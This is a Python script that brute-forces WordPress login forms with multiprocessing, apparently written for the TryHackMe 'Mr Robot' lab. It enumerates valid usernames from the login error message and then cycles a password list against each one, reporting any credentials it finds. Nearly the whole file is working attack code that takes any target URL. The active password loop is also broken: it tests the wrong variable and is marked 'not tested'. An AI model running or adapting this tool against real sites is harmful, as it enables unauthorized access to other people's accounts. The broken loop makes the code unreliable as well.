wordpress_mp.py

#!/usr/bin/env python3

"""WordPress Attack

Try to bruteforce a wordpress login form using multiprocessing
From testing, on average it performs 3x faster with the same user and pwd list
Example WordPress CMS login: 
    - Go to https://tryhackme.com/room/mrrobot
    - Start box and go to http://IP/wp-login.php
    - Run python script on above SITE

Usage: $ python3 wordpress_mp.py [-h] -s SITE -u USERNAMES -p PASSWORDS
Ex: $ python3 wordpress_mp.py -s http://10.10.59.46/wp-login.php -u resources/usernames.txt -p resources/passwords.txt

NOTES FOR IMPROVEMENT:
- Find out how to stop pool executor on successful run with password
- Try using mp.Pool() to conduct tasks
- Modularize mp function
- Concurrent Futures > https://docs.python.org/3/library/concurrent.futures.html
- Review > https://github.com/Cr4ckC4t/paws/blob/master/xmlrpc-bf.py
"""

import argparse
import concurrent.futures
import multiprocessing as mp
import sys
import time

import bs4
import requests

target = None
username = None


class c:
    cyan = "\033[96m"
    green = "\033[92m"
    orange = "\033[93m"
    red = "\033[91m"
    end = "\033[0m"
    bold = "\033[1m"


def printg(msg: str) -> None:
    """Prints success message

    Args:
        msg (str): Original message
    """
    print(f"[{c.green}+{c.end}] {msg}")


def printr(msg: str) -> None:
    """Prints failure message"""
    print(f"[{c.red}-{c.end}] {msg}")


def argparser():
    """Parses required arguments

    Returns:
        argparse object: Variables to hold host URL, username list, and password list
    """
    parser = argparse.ArgumentParser(
        description=f"{c.cyan}Wordpress Login Form Hack{c.end}"
    )
    parser.add_argument(
        "-s", "--site", help="full URL for wordpress login form page", required=True
    )
    parser.add_argument(
        "-u",
        "--usernames",
        type=argparse.FileType("r"),
        help="list of usernames",
        required=True,
    )
    parser.add_argument(
        "-p",
        "--passwords",
        type=argparse.FileType("r"),
        help="list of passwords",
        required=True,
    )
    args = parser.parse_args()
    return args


def check_status(target: str) -> int:
    """Checks status of a web page

    Args:
        target (str): URL for web form

    Returns:
        int: Status code
    """
    try:
        r = requests.get(target)
        return r.status_code
    except Exception as e:
        print(f"Exception: {e}")
        return None


def username_task(user: str) -> str:
    """Username task for multiprocessing

    Args:
        user (str): Username for task

    Returns:
        str: A valid username else None
    """
    attempt = requests.post(target, data={"log": user, "pwd": "-1"})
    if "incorrect" in attempt.text:
        return user
    return None


def password_task(pwd: str) -> str:
    """Password task for multiprocessing

    Args:
        pwd (str): Password for task

    Returns:
        str: A valid password else None
    """
    attempt = requests.post(target, data={"log": username, "pwd": pwd})
    print(f"- {pwd} success: {'incorrect' not in attempt.text}")
    if "incorrect" not in attempt.text:
        return pwd
    return None


def wp_mp_login(uf: argparse.FileType, pf: argparse.FileType) -> tuple:
    """Attempts to bruteforce a WordPress login with multiprocessing

    Args:
        uf (FileType): File pointer for list of usernames
        pf (FileType): File pointer for list of passwords

    Returns:
        list: password on success else none
    """
    print(f"Hacking {c.cyan}{target}{c.end}")
    printg(f"\t<username list> {uf.name}")
    printg(f"\t<password list> {pf.name}")
    printg(f"\tNumber of cores: {c.cyan}{mp.cpu_count()}{c.end}")

    if check_status(target) == 200:
        printg(f"\tStatus for {c.cyan}{target}{c.end}: {c.green}200{c.end}")
    else:
        printr("Page does not exist, stopping...")
        sys.exit()

    print(f"\n{c.bold}Starting multiprocessing brute force{c.end}...\n")

    global username
    password = None

    start = time.perf_counter()

    usernames = [line.strip() for line in uf.readlines()]
    with concurrent.futures.ProcessPoolExecutor() as executor:
        users = executor.map(username_task, usernames)
    users = list(filter(lambda x: x is not None, users))

    if len(users):
        printg("Found working usernames")
        for user in users:
            printg(f"\tUsername: {c.green}{user}{c.end}")
        print(f"\nSearching for passwords for given users")
        passwords = [line.strip() for line in pf.readlines()]
        for user in users:
            username = user
            """ 
            # 6.66 seconds
            with concurrent.futures.ProcessPoolExecutor() as executor:
                pwds = executor.map(password_task, passwords)
            pwds = list(filter(lambda x: x is not None, pwds))
            if len(pwds):
                password = pwds[0]
                printg(f"{c.bold}FOUND CREDENTIALS{c.end}: {username} : {password}")
            else:
                printr(f"\tNo password found for {c.cyan}{username}{c.end}")

            # 6.52 seconds (shutdown and break dont affect)
            pwds = None
            with concurrent.futures.ProcessPoolExecutor() as executor:
                future_result = {executor.submit(password_task, pwd): pwd for pwd in passwords}
                for future in concurrent.futures.as_completed(future_result):
                    pwd = future.result()
                    if pwd:
                        password = pwd
                        #executor.shutdown(wait=False, cancel_futures=True)
                        #break
            if password:
                printg(f"{c.bold}FOUND CREDENTIALS{c.end}: {username} : {password}")
            else:
                printr(f"\tNo password found for {c.cyan}{username}{c.end}")
            """
            # not tested
            for pwd in passwords:
                if password_task(password):
                    printg(f"{c.bold}FOUND CREDENTIALS{c.end}: {username} : {pwd}")
                    break
    else:
        printr(f"No usernames found")

    finish = time.perf_counter()
    print("\nProgram done executing")
    printg(f"Finished in {c.cyan}{finish-start}{c.end} seconds.")

    return (username, password)


if __name__ == "__main__":
    args = argparser()
    target = args.site
    print(f"\n{c.bold}{c.cyan}Wordpress Login Form Hack{c.end}\n")
    wp_mp_login(args.usernames, args.passwords)